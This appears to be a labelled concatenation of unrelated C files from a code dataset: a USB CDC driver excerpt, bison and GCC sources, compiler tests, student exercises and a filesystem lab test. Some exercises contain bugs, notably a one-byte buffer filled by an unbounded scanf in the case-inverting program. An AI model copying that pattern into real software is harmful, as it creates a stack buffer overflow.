linecoding.bitrate = (uint32_t)(pbuf[0] | (pbuf[1] << 8) | \
(pbuf[2] << 16) | (pbuf[3] << 24));
linecoding.format = pbuf[4];
linecoding.paritytype = pbuf[5];
linecoding.datatype = pbuf[6];
break;
case CDC_GET_LINE_CODING:
pbuf[0] = (uint8_t)(linecoding.bitrate);
pbuf[1] = (uint8_t)(linecoding.bitrate >> 8);
pbuf[2] = (uint8_t)(linecoding.bitrate >> 16);
pbuf[3] = (uint8_t)(linecoding.bitrate >> 24);
pbuf[4] = linecoding.format;
pbuf[5] = linecoding.paritytype;
pbuf[6] = linecoding.datatype;
break;
case CDC_SET_CONTROL_LINE_STATE:
lineState =
(((USBD_SetupReqTypedef *)pbuf)->wValue & 0x01) != 0; // Check DTR state
if (lineState) { // Reset the transmit timeout when the port is connected
transmitStart = 0;
}
break;
case CDC_SEND_BREAK:
break;
default:
break;
}
return (USBD_OK);
}
/**
* @brief USBD_CDC_Receive
* Data received over USB OUT endpoint are sent over CDC interface
* through this function.
*
* @note
* This function will issue a NAK packet on any OUT packet received on
* USB endpoint untill exiting this function. If you exit this function
* before transfer is complete on CDC interface (ie. using DMA controller)
* it will result in receiving more data while previous ones are still
* not sent.
*
* @param Buf: Buffer of data to be received
* @param Len: Number of data received (in bytes)
* @retval Result of the operation: USBD_OK if all operations are OK else USBD_FAIL
*/
static int8_t USBD_CDC_Receive(uint8_t *Buf, uint32_t *Len)
{
UNUSED(Buf);
/* It always contains required amount of free space for writing */
CDC_ReceiveQueue_CommitBlock(&ReceiveQueue, (uint16_t)(*Len));
receivePended = false;
/* If enough space in the queue for a full buffer then continue receive */
if (!CDC_resume_receive()) {
USBD_CDC_ClearBuffer(&hUSBD_Device_CDC);
}
return USBD_OK;
}
static int8_t USBD_CDC_Transferred(void)
{
transmitStart = 0;
CDC_TransmitQueue_CommitRead(&TransmitQueue);
CDC_continue_transmit();
return (USBD_OK);
}
void CDC_init(void)
{
if (!CDC_initialized) {
/* Init Device Library */
if (USBD_Init(&hUSBD_Device_CDC, &CDC_Desc, 0) == USBD_OK) {
/* Add Supported Class */
if (USBD_RegisterClass(&hUSBD_Device_CDC, USBD_CDC_CLASS) == USBD_OK) {
/* Add CDC Interface Class */
if (USBD_CDC_RegisterInterface(&hUSBD_Device_CDC, &USBD_CDC_fops) == USBD_OK) {
/* Start Device Process */
USBD_Start(&hUSBD_Device_CDC);
CDC_initialized = true;
}
}
}
}
}
void CDC_deInit(void)
{
if (CDC_initialized) {
USBD_Stop(&hUSBD_Device_CDC);
USBD_CDC_DeInit();
USBD_DeInit(&hUSBD_Device_CDC);
CDC_initialized = false;
}
}
bool CDC_connected()
{
/* Save the transmitStart value in a local variable to avoid twice reading - fix #478 */
uint32_t transmitTime = transmitStart;
if (transmitTime) {
transmitTime = HAL_GetTick() - transmitTime;
}
return hUSBD_Device_CDC.dev_state == USBD_STATE_CONFIGURED
&& transmitTime < USB_CDC_TRANSMIT_TIMEOUT
&& lineState;
}
void CDC_continue_transmit(void)
{
uint16_t size;
uint8_t *buffer;
USBD_CDC_HandleTypeDef *hcdc = (USBD_CDC_HandleTypeDef *) hUSBD_Device_CDC.pClassData;
/*
* TS: This method can be called both in the main thread
* (via USBSerial::write) and in the IRQ stream (via USBD_CDC_Transferred),
* BUT the main thread cannot pass this condition while waiting for a IRQ!
* This is not possible because TxState is not zero while waiting for data
* transfer ending! The IRQ thread is uninterrupted, since its priority
* is higher than that of the main thread. So this method is thread safe.
*/
if (hcdc->TxState == 0U) {
buffer = CDC_TransmitQueue_ReadBlock(&TransmitQueue, &size);
if (size > 0) {
transmitStart = HAL_GetTick();
USBD_CDC_SetTxBuffer(&hUSBD_Device_CDC, buffer, size);
/*
* size never exceed PMA buffer and USBD_CDC_TransmitPacket make full
* copy of block in PMA, so no need to worry about buffer damage
*/
USBD_CDC_TransmitPacket(&hUSBD_Device_CDC);
}
}
}
bool CDC_resume_receive(void)
{
/*
* TS: main and IRQ threads can't pass it at same time, because
* IRQ may occur only if receivePended is true. So it is thread-safe!
*/
if (!receivePended) {
uint8_t *block = CDC_ReceiveQueue_ReserveBlock(&ReceiveQueue);
if (block != NULL) {
receivePended = true;
/* Set new buffer */
USBD_CDC_SetRxBuffer(&hUSBD_Device_CDC, block);
USBD_CDC_ReceivePacket(&hUSBD_Device_CDC);
return true;
}
}
return false;
}
#endif /* USBD_USE_CDC */
#endif /* USBCON */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/219816.c
|
/* Allocate and clear storage for bison,
Copyright (C) 1984 Bob Corbett and Free Software Foundation, Inc.
BISON is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY. No author or distributor accepts responsibility to anyone
for the consequences of using it or for whether it serves any
particular purpose or works at all, unless he says so in writing.
Refer to the BISON General Public License for full details.
Everyone is granted permission to copy, modify and redistribute BISON,
but only under the conditions described in the BISON General Public
License. A copy of this license is supposed to have been given to you
along with BISON so you can know your rights and responsibilities. It
should be in a file named COPYING. Among other things, the copyright
notice and this notice must be preserved on all copies.
In other words, you are welcome to use, share and improve this program.
You are forbidden to forbid anyone else to use, share and improve
what you give them. Help stamp out software-hoarding! */
#include <stdio.h>
#include <stdlib.h>
extern void done(int k);
char *mallocate(register unsigned n)
{
register char *block;
block = calloc(n,1);
if (block == NULL)
{
fprintf(stderr, "bison: memory exhausted\n");
done(1);
}
return (block);
}
|
the_stack_data/82949134.c
|
/* { dg-do compile { target { powerpc*-*-* } } } */
/* { dg-skip-if "" { powerpc*-*-darwin* } { "*" } { "" } } */
/* { dg-require-effective-target ilp32 } */
/* { dg-skip-if "do not override -mcpu" { powerpc*-*-* } { "-mcpu=*" } { "-mcpu=power5" } } */
/* { dg-options "-O2 -mcpu=power5 -std=c99 -msoft-float" } */
/* { dg-final { scan-assembler-not "fmadd" } } */
/* { dg-final { scan-assembler-not "xsfmadd" } } */
/* Test whether -msoft-float turns off the macros math.h uses for
FP_FAST_FMA{,F,L}. */
#ifdef __FP_FAST_FMA
#error "__FP_FAST_FMA should not be defined"
#endif
#ifdef __FP_FAST_FMAF
#error "__FP_FAST_FMAF should not be defined"
#endif
double
builtin_fma (double b, double c, double d)
{
return __builtin_fma (b, c, d); /* bl fma */
}
float
builtin_fmaf (float b, float c, float d)
{
return __builtin_fmaf (b, c, -d); /* bl fmaf */
}
|
the_stack_data/32950608.c
|
#include <sys/types.h>
#include <stdint.h>
#include <stddef.h>
#include "stddef.h"
#undef KEY
#if defined(__i386)
# define KEY '_','_','i','3','8','6'
#elif defined(__x86_64)
# define KEY '_','_','x','8','6','_','6','4'
#elif defined(__ppc__)
# define KEY '_','_','p','p','c','_','_'
#elif defined(__ppc64__)
# define KEY '_','_','p','p','c','6','4','_','_'
#endif
#define SIZE (sizeof(size_t))
char info_size[] = {'I', 'N', 'F', 'O', ':', 's','i','z','e','[',
('0' + ((SIZE / 10000)%10)),
('0' + ((SIZE / 1000)%10)),
('0' + ((SIZE / 100)%10)),
('0' + ((SIZE / 10)%10)),
('0' + (SIZE % 10)),
']',
#ifdef KEY
' ','k','e','y','[', KEY, ']',
#endif
'\0'};
#ifdef __CLASSIC_C__
int main(argc, argv) int argc; char *argv[];
#else
int main(int argc, char *argv[])
#endif
{
int require = 0;
require += info_size[argc];
(void)argv;
return require;
}
|
the_stack_data/29824509.c
|
#include <stdio.h>
int main()
{
for (int i = 5; i >= 1; i--)
{
for (int j = 1; j <= (5 - i); j++)
{
printf(" ");
}
for (int j = 1; j <= i; j++)
{
printf("*");
}
printf("\n");
}
return 0;
}
|
the_stack_data/75137890.c
|
#include <stdio.h>
#include <stdlib.h>
void changeUpLow(char *string) {
int i = 0;
while (string[i] != 0) {
if (string[i] >= 'A' && string[i] <= 'Z') {
string[i] += ' ';
} else if (string[i] >= 'a' && string[i] <= 'z') {
string[i] -= ' ';
}
i++;
}
}
int main(int argc, char const *argv[]) {
char string[1];
scanf("%[^\n]", string);
printf("Eredeti szoveg: %s\n", string);
changeUpLow(string);
printf("Forditott szoveg: %s\n", string);
return 0;
}
|
the_stack_data/57951173.c
|
#include <stdio.h>
static char a [10];
static char e [0]; /* GCC only */
int main (void) {
printf ("+++Array char:\n");
printf ("size=%d,align=%d,5th-elem-offset=%d,5th-elem-align=%d\n",
sizeof (a), __alignof__ (a),
(char *) &a[5] - (char *) a, __alignof__ (a[5]));
printf ("size=%d,align=%d,5th-elem-offset=%d,5th-elem-align=%d\n",
sizeof (e), __alignof__ (e),
(char *) &e[5] - (char *) a, __alignof__ (e[5]));
return 0;
}
|
the_stack_data/254841.c
|
/* Subroutine for function pointer canonicalization on PA-RISC with ELF32.
Copyright 2002 Free Software Foundation, Inc.
Contributed by John David Anglin ([email protected]).
This file is part of GNU CC.
GNU CC is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
GNU CC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with GNU CC; see the file COPYING. If not, write to
the Free Software Foundation, 59 Temple Place - Suite 330,
Boston, MA 02111-1307, USA. */
/* WARNING: The code is this function depends on internal and undocumented
details of the GNU linker and dynamic loader as implemented for parisc
linux. */
/* This MUST match the defines sysdeps/hppa/dl-machine.h and
bfd/elf32-hppa.c. */
#define GOT_FROM_PLT_STUB (4*4)
/* List of byte offsets in _dl_runtime_resolve to search for "bl" branches.
The first "bl" branch instruction found MUST be a call to fixup. See
the define for TRAMPOLINE_TEMPLATE in sysdeps/hppa/dl-machine.h. If
the trampoline template is changed, the list must be appropriately
updated. The offset of -4 allows for a magic branch at the start of
the template should it be necessary to change the current branch
position. */
#define NOFFSETS 2
static int fixup_branch_offset[NOFFSETS] = { 32, -4 };
#define GET_FIELD(X, FROM, TO) \
((X) >> (31 - (TO)) & ((1 << ((TO) - (FROM) + 1)) - 1))
#define SIGN_EXTEND(VAL,BITS) \
((int) ((VAL) >> ((BITS) - 1) ? (-1 << (BITS)) | (VAL) : (VAL)))
struct link_map;
typedef int (*fptr_t) (void);
typedef int (*fixup_t) (struct link_map *, unsigned int);
extern unsigned int _GLOBAL_OFFSET_TABLE_;
/* __canonicalize_funcptr_for_compare must be hidden so that it is not
placed in the dynamic symbol table. Like millicode functions, it
must be linked into all binaries in order access the got table of
that binary. However, we don't use the millicode calling convention
and the routine must be a normal function so that it can be compiled
as pic code. */
unsigned int __canonicalize_funcptr_for_compare (fptr_t)
__attribute__ ((visibility ("hidden")));
unsigned int
__canonicalize_funcptr_for_compare (fptr)
fptr_t fptr;
{
static unsigned int fixup_plabel[2];
static fixup_t fixup;
unsigned int *plabel, *got;
/* -1 and page 0 are special. -1 is used in crtend to mark the end of
a list of function pointers. Also return immediately if the plabel
bit is not set in the function pointer. In this case, the function
pointer points directly to the function. */
if ((int) fptr == -1 || (unsigned int) fptr < 4096 || !((int) fptr & 2))
return (unsigned int) fptr;
/* The function pointer points to a function descriptor (plabel). If
the plabel hasn't been resolved, the first word of the plabel points
to the entry of the PLT stub just before the global offset table.
The second word in the plabel contains the relocation offset for the
function. */
plabel = (unsigned int *) ((unsigned int) fptr & ~3);
got = (unsigned int *) (plabel[0] + GOT_FROM_PLT_STUB);
/* Return the address of the function if the plabel has been resolved. */
if (got != &_GLOBAL_OFFSET_TABLE_)
return plabel[0];
/* Initialize our plabel for calling fixup if we haven't done so already.
This code needs to be thread safe but we don't have to be too careful
as the result is invariant. */
if (!fixup)
{
int i;
unsigned int *iptr;
/* Find the first "bl" branch in the offset search list. This is a
call to fixup or a magic branch to fixup at the beginning of the
trampoline template. The fixup function does the actual runtime
resolution of function decriptors. We only look for "bl" branches
with a 17-bit pc-relative displacement. */
for (i = 0; i < NOFFSETS; i++)
{
iptr = (unsigned int *) (got[-2] + fixup_branch_offset[i]);
if ((*iptr & 0xfc00e000) == 0xe8000000)
break;
}
/* This should not happen... */
if (i == NOFFSETS)
return ~0;
/* Extract the 17-bit displacement from the instruction. */
iptr += SIGN_EXTEND (GET_FIELD (*iptr, 19, 28) |
GET_FIELD (*iptr, 29, 29) << 10 |
GET_FIELD (*iptr, 11, 15) << 11 |
GET_FIELD (*iptr, 31, 31) << 16, 17);
/* Build a plabel for an indirect call to fixup. */
fixup_plabel[0] = (unsigned int) iptr + 8; /* address of fixup */
fixup_plabel[1] = got[-1]; /* ltp for fixup */
fixup = (fixup_t) ((int) fixup_plabel | 3);
}
/* Call fixup to resolve the function address. got[1] contains the
link_map pointer and plabel[1] the relocation offset. */
fixup ((struct link_map *) got[1], plabel[1]);
return plabel[0];
}
|
the_stack_data/475879.c
|
/* *
* Program Name: Array - Delete element base on value
* Author: Võ Văn Khánh Quốc
* Clean code: taiprogramer
* - Without any WARRANTY -
*/
#include <stdio.h>
void get_input(int arr[], int size);
void show_array(int arr[], int size);
void delete_element_value(int arr[], int* size, int value);
void delete_element_position(int arr[], int* size, int position);
int main() {
int size, value;
printf("Nhap so phan tu mang: ");
scanf("%d", &size);
int arr[size];
get_input(arr, size);
show_array(arr, size);
printf("Nhap gia tri muon xoa: ");
scanf("%d", &value);
delete_element_value(arr, &size, value);
show_array(arr, size);
}
void get_input(int arr[], int size) {
int i = 0;
while (i < size) {
printf("Nhap phan tu thu %d : ", i + 1);
scanf("%d", &arr[i]);
++i;
}
}
void show_array(int arr[], int size) {
printf("Gia tri hien tai cua mang la:\n");
int i = 0;
while (i < size) {
printf("%d ", arr[i]);
++i;
}
printf("\n");
}
void delete_element_value(int arr[], int* size, int value) {
int i = 0;
while (i < *size) {
if (arr[i] == value) {
delete_element_position(arr, size, i);
--i; // Back to check
}
++i;
}
}
void delete_element_position(int arr[], int* size, int position) {
int i = position;
while (i < *size) {
arr[i] = arr[i + 1];
++i;
}
// resize array after delete 1 element
*size = *size - 1;
}
|
the_stack_data/32891.c
|
#include <stdio.h>
/* implementation of strcmp that ingnores cases */
int ic_strcmp(char *s1, char *s2)
{
int i;
for (i = 0; s1[i] && s2[i]; ++i)
{
/* If characters are same or inverting the 6th bit makes them same */
if (s1[i] == s2[i] || (s1[i] ^ 32) == s2[i])
continue;
else
break;
}
/* Compare the last (or first mismatching in case of not same) characters */
if (s1[i] == s2[i])
return 0;
if ((s1[i]|32) < (s2[i]|32)) //Set the 6th bit in both, then compare
return -1;
return 1;
}
// Driver program to test above function
int main(void)
{
printf("ret: %d\n", ic_strcmp("Geeks", "apple"));
printf("ret: %d\n", ic_strcmp("", "ABCD"));
printf("ret: %d\n", ic_strcmp("ABCD", "z"));
printf("ret: %d\n", ic_strcmp("ABCD", "abcdEghe"));
printf("ret: %d\n", ic_strcmp("GeeksForGeeks", "gEEksFORGeEKs"));
printf("ret: %d\n", ic_strcmp("GeeksForGeeks", "geeksForGeeks"));
return 0;
}
|
the_stack_data/193893757.c
|
int main(void) {
int i = 0;
!i;
i = !(i && 5 || !3);
&i;
++i;
--i;
i++;
--i;
int* ii = &i;
i = *ii;
float f = 7.8;
float* ff = &f;
f = *ff;
}
|
the_stack_data/29825681.c
|
/* Copyright (C) 2000-2016 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <spawn.h>
/* Initialize data structure for file attribute for `spawn' call. */
int
posix_spawnattr_destroy (posix_spawnattr_t *attr)
{
/* Nothing to do in the moment. */
return 0;
}
|
the_stack_data/54824403.c
|
#include <stdio.h>
int main()
{
printf("Hello World!");
return 0;
}
|
the_stack_data/152762.c
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <errno.h>
#include <unistd.h>
void validateReturnValue(int returnValue) {
if (returnValue == -1) {
perror("unexpected error");
exit(1);
}
}
union semun {
int val;
struct semid_ds *buf;
unsigned short *array;
};
int main() {
key_t key = ftok("./misionar.c", 'a');
validateReturnValue(key);
int semnum = 4;
int semflg = 0644 | IPC_CREAT | IPC_EXCL;
int semid = semget(key, semnum, semflg);
if (semid == -1) {
if (errno == EEXIST) {
semid = semget(key, semnum, 0);
} else {
validateReturnValue(semid);
}
} else {
union semun sem_init;
sem_init.array = (unsigned short*)malloc(semnum * sizeof(unsigned short));
sem_init.array[0] = 0; // semafor za prijavljivanje misionara
sem_init.array[1] = 0; // semafor za prijavljivanje ljudozdera
sem_init.array[2] = 0; // semafor za obavestavanje misionara
sem_init.array[3] = 0; // semafor za obavestavanje ljudozdera
int rv = semctl(semid, 0, SETALL, sem_init);
validateReturnValue(rv);
}
struct sembuf opr_inc, opr_dec;
opr_inc.sem_num = 0;
opr_inc.sem_op = 1;
opr_inc.sem_flg = 0;
opr_dec.sem_num = 2;
opr_dec.sem_op = -1;
opr_dec.sem_flg = 0;
int pid, rv;
while (1) {
pid = fork();
validateReturnValue(pid);
if (pid == 0) {
rv = semop(semid, &opr_inc, 1);
validateReturnValue(rv);
printf("Misionar %d se prijavio!\n", getpid());
rv = semop(semid, &opr_dec, 1);
validateReturnValue(rv);
printf("Misionar %d se ukrcao na brod! (zavrsavam)\n", getpid());
break;
}
sleep(8);
}
return 0;
}
|
the_stack_data/205781.c
|
// 12. Write a program that ask of a value in centimeters and computes the inch equivalent.
#include <stdio.h> // Required for: printf(), scanf()
int main()
{
float centimeters = 0;
printf("Introduce a value in centimeters: ");
scanf_s("%f", ¢imeters);
float inch = centimeters / 2.54f;
printf("Your centimeter value in inches is equal to %2.2f inches\n", inch);
return 0;
}
|
the_stack_data/44017.c
|
/*
* test-lab-4-b /classfs/dir1 /classfs/dir2
*
* Test correctness of locking and cache coherence by creating
* and deleting files in the same underlying directory
* via two different ccfs servers.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <dirent.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
char d1[512], d2[512];
extern int errno;
char big[20001];
void
create1(const char *d, const char *f, const char *in)
{
int fd;
char n[512];
/*
* The FreeBSD NFS client only invalidates its caches
* cache if the mtime changes by a whole second.
*/
sleep(1);
sprintf(n, "%s/%s", d, f);
fd = creat(n, 0666);
if(fd < 0){
fprintf(stderr, "test-lab-4-b: create(%s): %s\n",
n, strerror(errno));
exit(1);
}
if(write(fd, in, strlen(in)) != strlen(in)){
fprintf(stderr, "test-lab-4-b: write(%s): %s\n",
n, strerror(errno));
exit(1);
}
if(close(fd) != 0){
fprintf(stderr, "test-lab-4-b: close(%s): %s\n",
n, strerror(errno));
exit(1);
}
}
void
check1(const char *d, const char *f, const char *in)
{
int fd, cc;
char n[512], buf[21000];
sprintf(n, "%s/%s", d, f);
fd = open(n, 0);
if(fd < 0){
fprintf(stderr, "test-lab-4-b: open(%s): %s\n",
n, strerror(errno));
exit(1);
}
errno = 0;
cc = read(fd, buf, sizeof(buf) - 1);
if(cc != strlen(in)){
fprintf(stderr, "test-lab-4-b: read(%s) returned too little %d%s%s\n",
n,
cc,
errno ? ": " : "",
errno ? strerror(errno) : "");
exit(1);
}
close(fd);
buf[cc] = '\0';
if(strncmp(buf, in, strlen(n)) != 0){
fprintf(stderr, "test-lab-4-b: read(%s) got \"%s\", not \"%s\"\n",
n, buf, in);
exit(1);
}
}
void
unlink1(const char *d, const char *f)
{
char n[512];
sleep(1);
sprintf(n, "%s/%s", d, f);
if(unlink(n) != 0){
fprintf(stderr, "test-lab-4-b: unlink(%s): %s\n",
n, strerror(errno));
exit(1);
}
}
void
checknot(const char *d, const char *f)
{
int fd;
char n[512];
sprintf(n, "%s/%s", d, f);
fd = open(n, 0);
if(fd >= 0){
fprintf(stderr, "test-lab-4-b: open(%s) succeeded for deleted file\n", n);
exit(1);
}
}
void
append1(const char *d, const char *f, const char *in)
{
int fd;
char n[512];
sleep(1);
sprintf(n, "%s/%s", d, f);
fd = open(n, O_WRONLY|O_APPEND);
if(fd < 0){
fprintf(stderr, "test-lab-4-b: append open(%s): %s\n",
n, strerror(errno));
exit(1);
}
if(write(fd, in, strlen(in)) != strlen(in)){
fprintf(stderr, "test-lab-4-b: append write(%s): %s\n",
n, strerror(errno));
exit(1);
}
if(close(fd) != 0){
fprintf(stderr, "test-lab-4-b: append close(%s): %s\n",
n, strerror(errno));
exit(1);
}
}
void
createn(const char *d, const char *prefix, int nf)
{
int fd, i;
char n[512];
/*
* The FreeBSD NFS client only invalidates its caches
* cache if the mtime changes by a whole second.
*/
sleep(1);
for(i = 0; i < nf; i++){
sprintf(n, "%s/%s-%d", d, prefix, i);
fd = creat(n, 0666);
if(fd < 0){
fprintf(stderr, "test-lab-4-b: create(%s): %s\n",
n, strerror(errno));
exit(1);
}
if(write(fd, &i, sizeof(i)) != sizeof(i)){
fprintf(stderr, "test-lab-4-b: write(%s): %s\n",
n, strerror(errno));
exit(1);
}
if(close(fd) != 0){
fprintf(stderr, "test-lab-4-b: close(%s): %s\n",
n, strerror(errno));
exit(1);
}
}
}
void
checkn(const char *d, const char *prefix, int nf)
{
int fd, i, cc, j;
char n[512];
for(i = 0; i < nf; i++){
sprintf(n, "%s/%s-%d", d, prefix, i);
fd = open(n, 0);
if(fd < 0){
fprintf(stderr, "test-lab-4-b: open(%s): %s\n",
n, strerror(errno));
exit(1);
}
j = -1;
cc = read(fd, &j, sizeof(j));
if(cc != sizeof(j)){
fprintf(stderr, "test-lab-4-b: read(%s) returned too little %d%s%s\n",
n,
cc,
errno ? ": " : "",
errno ? strerror(errno) : "");
exit(1);
}
if(j != i){
fprintf(stderr, "test-lab-4-b: checkn %s contained %d not %d\n",
n, j, i);
exit(1);
}
close(fd);
}
}
void
unlinkn(const char *d, const char *prefix, int nf)
{
char n[512];
int i;
sleep(1);
for(i = 0; i < nf; i++){
sprintf(n, "%s/%s-%d", d, prefix, i);
if(unlink(n) != 0){
fprintf(stderr, "test-lab-4-b: unlink(%s): %s\n",
n, strerror(errno));
exit(1);
}
}
}
int
compar(const void *xa, const void *xb)
{
char *a = *(char**)xa;
char *b = *(char**)xb;
return strcmp(a, b);
}
void
dircheck(const char *d, int nf)
{
DIR *dp;
struct dirent *e;
char *names[1000];
int nnames = 0, i;
dp = opendir(d);
if(dp == 0){
fprintf(stderr, "test-lab-4-b: opendir(%s): %s\n", d, strerror(errno));
exit(1);
}
while((e = readdir(dp))){
if(e->d_name[0] != '.'){
if(nnames >= sizeof(names)/sizeof(names[0])){
fprintf(stderr, "warning: too many files in %s\n", d);
}
names[nnames] = (char *) malloc(strlen(e->d_name) + 1);
strcpy(names[nnames], e->d_name);
nnames++;
}
}
closedir(dp);
if(nf != nnames){
fprintf(stderr, "test-lab-4-b: wanted %d dir entries, got %d\n", nf, nnames);
exit(1);
}
/* check for duplicate entries */
qsort(names, nnames, sizeof(names[0]), compar);
for(i = 0; i < nnames-1; i++){
if(strcmp(names[i], names[i+1]) == 0){
fprintf(stderr, "test-lab-4-b: duplicate directory entry for %s\n", names[i]);
exit(1);
}
}
for(i = 0; i < nnames; i++)
free(names[i]);
}
void
reap (int pid)
{
int wpid, status;
wpid = waitpid (pid, &status, 0);
if (wpid < 0) {
perror("waitpid");
exit(1);
}
if (wpid != pid) {
fprintf(stderr, "unexpected pid reaped: %d\n", wpid);
exit(1);
}
if(!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
fprintf(stderr, "child exited unhappily\n");
exit(1);
}
}
int
main(int argc, char *argv[])
{
int pid, i;
if(argc != 3){
fprintf(stderr, "Usage: test-lab-4-b dir1 dir2\n");
exit(1);
}
sprintf(d1, "%s/d%d", argv[1], getpid());
if(mkdir(d1, 0777) != 0){
fprintf(stderr, "test-lab-4-b: failed: mkdir(%s): %s\n",
d1, strerror(errno));
exit(1);
}
sprintf(d2, "%s/d%d", argv[2], getpid());
if(access(d2, 0) != 0){
fprintf(stderr, "test-lab-4-b: failed: access(%s) after mkdir %s: %s\n",
d2, d1, strerror(errno));
exit(1);
}
setbuf(stdout, 0);
for(i = 0; i < sizeof(big)-1; i++)
big[i] = 'x';
printf("Create then read: ");
create1(d1, "f1", "aaa");
check1(d2, "f1", "aaa");
check1(d1, "f1", "aaa");
printf("OK\n");
printf("Unlink: ");
unlink1(d2, "f1");
create1(d1, "fx1", "fxx"); /* checknot f1 fails w/o these */
unlink1(d1, "fx1");
checknot(d1, "f1");
checknot(d2, "f1");
create1(d1, "f2", "222");
unlink1(d2, "f2");
checknot(d1, "f2");
checknot(d2, "f2");
create1(d1, "f3", "333");
check1(d2, "f3", "333");
check1(d1, "f3", "333");
unlink1(d1, "f3");
create1(d2, "fx2", "22"); /* checknot f3 fails w/o these */
unlink1(d2, "fx2");
checknot(d2, "f3");
checknot(d1, "f3");
printf("OK\n");
printf("Append: ");
create1(d2, "f1", "aaa");
append1(d1, "f1", "bbb");
append1(d2, "f1", "ccc");
check1(d1, "f1", "aaabbbccc");
check1(d2, "f1", "aaabbbccc");
printf("OK\n");
printf("Readdir: ");
dircheck(d1, 1);
dircheck(d2, 1);
unlink1(d1, "f1");
dircheck(d1, 0);
dircheck(d2, 0);
create1(d2, "f2", "aaa");
create1(d1, "f3", "aaa");
dircheck(d1, 2);
dircheck(d2, 2);
unlink1(d2, "f2");
dircheck(d2, 1);
dircheck(d1, 1);
unlink1(d2, "f3");
dircheck(d1, 0);
dircheck(d2, 0);
printf("OK\n");
printf("Many sequential creates: ");
createn(d1, "aa", 10);
createn(d2, "bb", 10);
dircheck(d2, 20);
checkn(d2, "bb", 10);
checkn(d2, "aa", 10);
checkn(d1, "aa", 10);
checkn(d1, "bb", 10);
unlinkn(d1, "aa", 10);
unlinkn(d2, "bb", 10);
printf("OK\n");
printf("Write 20000 bytes: ");
create1(d1, "bf", big);
check1(d1, "bf", big);
check1(d2, "bf", big);
unlink1(d1, "bf");
printf("OK\n");
printf("Concurrent creates: ");
pid = fork();
if(pid < 0){
perror("test-lab-4-b: fork");
exit(1);
}
if(pid == 0){
createn(d2, "xx", 20);
exit(0);
}
createn(d1, "yy", 20);
sleep(10);
reap(pid);
dircheck(d1, 40);
checkn(d1, "xx", 20);
checkn(d2, "yy", 20);
unlinkn(d1, "xx", 20);
unlinkn(d1, "yy", 20);
printf("OK\n");
printf("Concurrent creates of the same file: ");
pid = fork();
if(pid < 0){
perror("test-lab-4-b: fork");
exit(1);
}
if(pid == 0){
createn(d2, "zz", 20);
exit(0);
}
createn(d1, "zz", 20);
sleep(4);
dircheck(d1, 20);
reap(pid);
checkn(d1, "zz", 20);
checkn(d2, "zz", 20);
unlinkn(d1, "zz", 20);
printf("OK\n");
printf("Concurrent create/delete: ");
createn(d1, "x1", 20);
createn(d2, "x2", 20);
pid = fork();
if(pid < 0){
perror("test-lab-4-b: fork");
exit(1);
}
if(pid == 0){
unlinkn(d2, "x1", 20);
createn(d1, "x3", 20);
exit(0);
}
createn(d1, "x4", 20);
reap(pid);
unlinkn(d2, "x2", 20);
unlinkn(d2, "x4", 20);
unlinkn(d2, "x3", 20);
dircheck(d1, 0);
printf("OK\n");
printf("Concurrent creates, same file, same server: ");
pid = fork();
if(pid < 0){
perror("test-lab-4-b: fork");
exit(1);
}
if(pid == 0){
createn(d1, "zz", 20);
exit(0);
}
createn(d1, "zz", 20);
sleep(2);
dircheck(d1, 20);
reap(pid);
checkn(d1, "zz", 20);
unlinkn(d1, "zz", 20);
printf("OK\n");
printf("test-lab-4-b: Passed all tests.\n");
exit(0);
return(0);
}
|
the_stack_data/64199999.c
|
/**
* Copyright (C) 2021 All rights reserved.
*
* FileName :result.c
* Author :C.K
* Email :[email protected]
* DateTime :2021-10-18 18:38:47
* Description :
*/
int maximumProduct(int* nums, int numsSize){
int high1=0;
int high2=0;
int high3=0;
int low1=0;
int low2=0;
int low3=0;
int i;
for (i=0; i<numsSize; i++) {
if (nums[i]>0)
if (nums[i]>high3) {
high1=high2;
high2=high3;
high3=nums[i];
} else if (nums[i]>high2) {
high1=high2;
high2=nums[i];
} else if (nums[i]>high1) high1=nums[i];
if (nums[i]<0)
if (nums[i]<low3) {
low1=low2;
low2=low3;
low3=nums[i];
} else if (nums[i]<low2) {
low1=low2;
low2=nums[i];
} else if (nums[i]<low1) low1=nums[i];
}
printf("Highs are %d %d %d and lows are %d %d %d\n",
high3, high2, high1, low1, low2, low3);
if (high3==0) return low3 * low2 * low1;
if ((high3 * low3 * low2) > (high3 * high2 * high1))
return high3 * low3 * low2;
else return high3 * high2 * high1;
}
int main(){
return 0;
}
|
the_stack_data/63751.c
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_9__ TYPE_2__ ;
typedef struct TYPE_8__ TYPE_1__ ;
/* Type definitions */
struct TYPE_9__ {int size; int depth; unsigned int steps; int /*<<< orphan*/ pbo; TYPE_1__* passes; int /*<<< orphan*/ blur; int /*<<< orphan*/ resolve; int /*<<< orphan*/ output; int /*<<< orphan*/ input_tex; int /*<<< orphan*/ window_tex; void* prog_blur; void* prog_resolve; void* prog_complex; void* prog_real; } ;
typedef TYPE_2__ fft_t ;
